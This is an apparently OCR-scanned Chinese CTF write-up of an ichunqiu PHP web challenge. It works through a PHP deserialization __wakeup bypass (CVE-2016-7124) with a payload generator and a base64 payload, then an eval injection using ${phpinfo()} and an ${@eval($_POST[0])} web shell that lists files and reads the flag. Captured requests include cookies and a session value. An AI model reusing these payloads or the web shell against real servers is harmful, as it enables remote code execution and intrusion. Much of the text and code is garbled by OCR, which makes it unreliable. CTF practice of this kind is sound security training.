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HTTF/1.1 200 OK
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HTTF/1.1 - Server: nginx/Ll.10.2 P
Host: Date: Sun, Z7 May ZO01E 09:17:33 GHMT
S5f3d384a70814183a8f4594elabcecTocaddfebiE353 142580, game . ich fin.c Content-Type: text/html
o Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rw:52.0) Connection: close
Gecko/20100101 Firefox/52.0 ¥-Powered-By: PHF/5.5.9-1lubuntud. 19
Acocept: Vary: Accept-Encoding
text/html, application/xhtml+xml, application/xml; q=0.9, */*;q=0.8
Aoecept-Language: zh-CIH, zh;g=0.8,en-US;q=0.5,en;q=0.3 yoly are 123]if you are not 123,you can get the
Accept-Encoding: gzip, deflate flag<br><'--Shash=md5 ($sicm. $key) . the length of
Referer: $sign is &

http://8£3d384a705814183a8f49462abecfcTocasdfeb28353 14280, game . ich
unciu. com,’

Cookies:

UM distinetid=lgZ3cB8allbec5-027023a94d1lb5598-1262694a-1Fa400-1623
cBalboclbas;

Hm lvt_Zd0E01bdIBde7d49818249cL35d95943=1524830026, 1524990638, 15
I5051237,1527412001; pgv_pvi=SZ05754816;
Hro_lwvt_59104985cel4laBe03045eaceca’50328=1523255610, 1523334430, 15
24990&45, 1525051241

Hm lvt_ la3Zf7cee0491887db0960e59c3 140022=1523255610, 1523334430, 15
24990£45, 1525051242 ;

chkphone=acWAIIpxhOphilchhNuSnEqyiCuD TO0000
_ga=GAL.2.509487208.1524830027;
ci_session=9dal0bc3décEE3h0435a4a865555h laTfh56£55c;
pogv_si=s2503824384;

Hm lpwvt 2d0e01lbdi8de7d49818249c£35d955943=1527412001

Connection: close

Upgrade-Insecure-Requests: 1
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GET /index.php?key=45f&hash=2a5414055268def1£f82288af38e5cede &
HTTP/Ll.1 -
Host:
8f3d354a705814183a8f4946ZabecEcTocasdfebiiE3i53 14e90. gamwe . ichungiu. o
om

Uger-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:isZ.0)
Gecko/20100101 Firefox/52.0

Aocept:

text/html, application/xhtml+xml, application/xml;q=0.9, */*:;q=0.8
Aecept-Language: zh-CN, zh;g=0.8,en-U3;g=0.5,en;q=0.3
Aecept-Encoding: gzip, deflate

Referer:
http://8E3d384a70814183a8f459462abcEcTocasdfehlBgiss 14290, game. ich
unciu. com,/

Cookie:

UM _distinetid=1£23cB8allhbec5-027023a94d1b598-1262654a-1Ta400-1623
cBalsclbae;

Hm lvt_2d0E01bd28de7d45818245c£35d95943=152483002¢, 1524550838, 15
25051237, L52741200L; pov_pvwi=ZZ0579481&;

Hm_lvt_ 910498%9cel4laB8e03045cacecaf50328=1523255610, 1523334430, 15
24595906845, 1525051241

Hm lvt_1a3Zf7cE£04591887db05£0=50314b022=1523255610, 1523334430, 15
24990645, 1525051242 ;

chkphone=acWxIpxhopDilehhiMuSnEgyiQuD I00000;
_ga=GAL1.Z2.5094597208.1524830027;
ci_session=9dal0bc3dEcEE3b0435a4aB65595b la7thSE6E55c;
pogv_si=sI9038I4384;

Hm lpvt 2d0&601lbdi8de7d49818249cf35d95943=1527412001L

Connection: close

Upgrade-Insecure-EFEequests: 1

0x01 15 i) Gu3ss_m3_h2h2.phpX [
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<?php

class Demo
private $file = ’Gulss_m3_h2h2.php ;
public function _ construct($file)

$this—>file = S§file;

function _ destruct()
echo @highlight_file(§this—>file, true);

function _ wakeup()
if (Sthis—>file

’ bulss_m3_h2h2. php' )

if  (isset($_GET[ var' 1))
$var = basef4_decode($_GET[ var’'1);
if (preg_match( /[oc]l:\d+:/i", $var))
die( stop hacking!’);
else |

Gunserialize(Svar) ;

else
highlight_file("Gu3ss_m3_h2h2. php”);

>

HERE R : the secretis in the f15g_1s_here.php

0x02 5% & it

HTTP/1.1 200 QK

Serwver: nginx/l.10.Z2

Date: Sun, Z7 May Z0LE8 09:25:30 GMT
Content-Type: text/html
Content-Length: 30

Connection: close

¥-Powered-By: PHPF/5.5.9-lubuntu4.19

next step is Gu3ss m3 h2h2.php

.com/Gu3ss_m3_|

e

Hidgety REgEZvarsH, H¥varlf Bt Tbaseb4f#id, 2 G TIENILE, WRICRBIKIEREHEF. BT RFF
tho T HBATRIIXANDemo R A EENIZ, Hunserializeld #% 8 F$AT__ wakeup() 5, LR IESTE_ destruct()RiT#% i
F, TWi__ wakeup()& i fileZ & IME . BEAR T IENA


http://php.net/manual/zh/language.oop5.magic.php

WIEphpZ BT IR (CVE-2016-7124 https:/bugs.php.net/bug.php?id=72663) ,%4
FE 54k 5 th R on i SR AN BB R T E S B £Bkid wakeup(VBIBAT, XRERAIBLA LASSE  wakeup() 5, $HAT
__destruct()eRi%l, #3159 _1s_here.phpf) P9 A REUH K.

B 5%¥7f15g_1s_here.php” 3045t & FF 511k

<?php
Demo {
$file "Gu3ss_m3_h2hz.php’;

__construct($file) {
$this->file $file;

_ destruct() {
echo @highlight_file($this->file, true);
by

_ wakeup() {
($this->file ‘Gu3ss_m3_h2h2.php') {

$this->file "Gu3ss_m3_h2h2_php";

Demo( ' f15g_1s_here.php')
serialize($a);
echo $a;

run (ctri+r) | BN copy | DFEAEAE  HIEEE, SE

O FH/AEF @ htmAAER

0:4:"Demo":1:{5:10:"Demofile g_1s_herephp"}

BT EMEIER, 10 RKBERI A

0x03 #Ji& PAYLOAD

<?php
class Demo {
$file 'Gu3ss_m3_h2h2.php';

function __construct(gfile) {
gthis->file = $file;
}

function __destruct() {
echo @highlight_file(gthis->file, true);
}

function __wakeup() {
($this->file "Gu3ss_m3_h2h2.php’) {

gthis->file "Gu3ss_m3_h2h2.php';

$a Demo('f15g_1s_here.php');
$a - serialize($a);

$al = str_replace('0:4','0:+4',%a);
$al = str_replace(':1:",":7:",%al);
eqho base64_encode($al);

?

TzorNDoiRGVtbyI6Nzp7czoxMDoiAER1bW8AZmM1sZSI7czoxNjoiZjE1Z18xc190ZXJ1LnBocCI7fQ==



https://bugs.php.net/bug.php?id=72663
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<?php
if (isset($ GET['val'])) {

$val = $ GET['val'];

eval('$value="" . addslashes($val) .
} else {

die('hahaha!');

@ Load URL | http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34ace.game.ichungiu.com/Gu3ss_m3_h2h2.php
g% split URL var=TzorNDoiRGVitbyl6MNzp7 czoxMDoiAERIbWBAZmIsZSI7 czoxMjoiZjE1Z18xc 190X ILnBocCIT Q==

b Execute

[] Enable Post data ] Enable Referrer

<?php

if (isset($_GET['val'l)) {
§val = S$_GET[ wval'l:

- addslashes($val)

eval (" $value=
else {
die( hahaha!’);

%

B — 1 valB 3, evalRB ST ERE, AT

http://cbf20660cadd42a4964bcca3ccazbf 87a6145fe34aee.game.ichunqiu.com/f15g 1s here.php?val=${phpinfo()}

@ Load URL |http://cbf20660cadd42a4964bccadcca2bid]6b87a6145f34ace.game.ichungiu.com/f15g_1s_here.php?val=${phpinfo()}

@ split URL
PHP Version 5.5.9-1ubuntud.19

) Execute

[ Enable Post data [ Enable Referrer

System Linux b8deac61090f 3.10.0-514.26.2.&l7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC
2017 xBG 64

Build Date Jul 28 2016 19:30:57

Server API Apache 2.0 Handler

Virtual Directory |disabled

Support

Configuration File | /etc/phpS5/apache2

(php.ini) Path

Loaded /etc/php5/apache2/php.ini

Configuration File

Scan this dir for | /etc/php5/apache2/conf.d
additional .
files

ini | /ete/phps/apache2/cont.d/05-opeache.ni, fete/phpS/apache2/conf.d/10-pdo.ini,
files parsed Jetc/phpS/apache2/cont.d/20-gd.ini, fete/phpS/apache2/conf.d/20json.ini,
Jete/php5/apache2/conf.d/20-mysglini, fetc/php5/apache2/conf.df20-mysgli.ini,
Jetc/phpS/apache2/cont.d/20-pdo_mysglini, fetc/php5/apache2/conf.d
20-readline.ni

PHP API 20121113

PHP Extension 20121212

Zend Extension 220121212
Zend Extension | API220121212,NTS

B —RI1E, AR postiAT A

http://cbf20660cadd42a4964bcca3cca2bfdl6b87a6145fe34aee.game.ichungiu.com/f15g 1s here.php?val=${@eval($_POST[O]

)}




http://cbf20660cadd42a4964bcca3cca2bfd 16b87a6145fe34ase.game.ichungiu.com/f15g_1s_here.php?val=${@eval($_POST[ON}

Enable Post data [] Enable Referrer
0=phpinfa(;

System Linux bBdeac61090f 3.10.0-514.26.2.2l7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC
2017 ¥86 64

Build Date Jul 28 2016 19:30:57

Server API Apache 2.0 Handler

Virtual Directory | disabled

Support

Configuration File | /etc/php5/apache2

(php.ini) Path

Loaded fete/php5/apache2/php.ini

Configuration File

Scan this dir for | /fetc/phpS/apache2/conf.d
additional .ini
files

Additional .ini fetc/php5/apache2/conf.d/05-opcache.ini, fetc/php5/apache2/conf.d/10-pdo.ini,
files parsed fetc/php5/apache?/cont.d/20-gd.ini, fetc/php5/apache?/conf.d/20-json.ini,
fete/php5/apache2/conf.d/20-mysql.ini, fetc/php5/apache2/conf.d/20-mysqli.ini,
fete/php5fapache2 fconf.d/20-pdo_mysgl.ini, fetc/phpS/apache2fcontf.d
f20-readline.ini

EHP aPI 20121113

B R 5 ST 2ls

Gu3ss_m3_h2h2.php True_Flag i3 Here_233.php f15g 1s_here.php index.php

@ Load URL | http://cbf20660cadd42a4964bccadecazbfd16b87a6145fe34aee.game.ichungiu.com/f15g_1s_here.php?val=${@eval($_POST[0])}
B split URL

v Execute

<

Enable Post data [ ] Enable Referrer
Post data O=echo s

Gu3ss m3_h2h2.php True Flag_ i3 Here 233.php f15g_1s_here.php index.php

SRIGPAT cat True_Flag_i3_Here_233.php 1§ Zlflag

4 Load URL | http://cbf20660cadd42a4964bcca3ccazbfd16b87a6145fe34aee.game.ichungiu.com/f15g_1s_here.php?val=3{@eval($ _POST[0])}
& split URL

')  Execute

4

Enable Post data [ ] Enable Referrer
Post data O=echo “cat True Flag_i3_Here 233.php™

<{Pphp
$flag = "flag{f5f81fed-35ae—4c60-ab01-782529c1b61} " ;
23
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